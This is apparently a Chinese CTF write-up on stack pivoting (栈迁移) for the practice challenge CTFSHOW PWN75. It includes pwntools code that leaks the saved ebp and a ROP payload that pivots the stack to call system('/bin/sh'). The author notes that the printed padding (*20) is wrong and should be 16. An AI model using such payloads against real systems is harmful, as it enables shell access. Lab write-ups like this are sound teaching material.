一般来说,比如要构造system(bin/sh)的rop链,只需要把ret覆盖为system,然后隔一个p32(0),再填入binsh字符串地址就行,但是如果溢出长度只能到ret的话,就只能做到把ret覆盖为system,后面的就填不了了,怎么办?栈迁移通常就使用在这种情况下。
一个函数执行完后,会使用leave指令来删除它的栈帧,也就是mov esp,ebp;pop ebp;这个时候ebp会回到父函数的ebp处,然后esp就会上移到ret位置。这就是一个完整的leave操作。
如果我们修改ebp的内容,那pop ebp后,ebp就会被劫持到指定地方,如果此时再来一个leave指令,由于mov esp,ebp。所以esp就会被劫持到与ebp被劫持到的一样的位置,然后pop ebp。此时esp就成功被劫持了,就可以进一步影响到eip。
栈迁移的思路是:
1.寻找可劫持到的位置(可写)
2.得到劫持到的位置的地址
3.写exp
接下来看例题,CTFSHOW PWN入门 PWN75
关键点定位在ctfshow函数中:

定义了一个栈上变量s,然后read两次,最后printf出s的内容
这里选择就劫持到s这里。
首先看一下怎么得到s的真实地址,printf会读到/0为止,如果输入填满,不填/0的话,就会把接下来的内容也读出来,把s的36字节填满的话,接下来就是它的ebp,里面是旧ebp的内容,所以可以把旧ebp内容读出来,然后再确定s距离旧ebp的距离,就可以得到s的地址。
先判断s的大小,ida编译出来有矛盾:


可以看到44时候发生了错误,减去ebp的4字节,s的大小是40
先通过第一个read得到旧ebp地址:
payload1=b’a’*39+b’B’
p.recvuntil(“ame:”)
p.send(payload1)
p.recvuntil(b”B”)
oldebp=u32(p.recv(4))
print(hex(oldebp))

然后计算s离旧ebp多少:
给ctfshow函数下断点

r:

ebp在0xffffcfe8处存了0xffffcff8,也就是旧ebp是0xffffcff8,两者隔了0x10,而s离0xffffcfe8(新ebp)40个字节,那一共就是56字节。
payload构思如下:

payload2=p32(0)+p32(system)+p32(0)+p32(binshaddr)+b”/bin/sh\x00″+b’a’*20+p32(oldebp-56)+p32(leave)
然后就是去找leave和system的位置就行:


但是始终打不通,最后发现原因是b’a’*20,应该是*16,我也不知道为什么不是20,以后还是直接用.ljust来补齐最好
思考:既然都能知道s的地址,为什么不直接ret回来执行?
有这个问题是因为我没把eip跟esp、shellcode和rop链搞清楚,通常ret去的地方是shellcode,(ret是把值pop给eip,后面就是eip不断上移执行命令)是eip直接就能执行的代码位置,但是这里由于NX的填不了shellcode,而且填充的也不是shellcode而是rop链,所以得用esp来间接让eip执行想要的命令。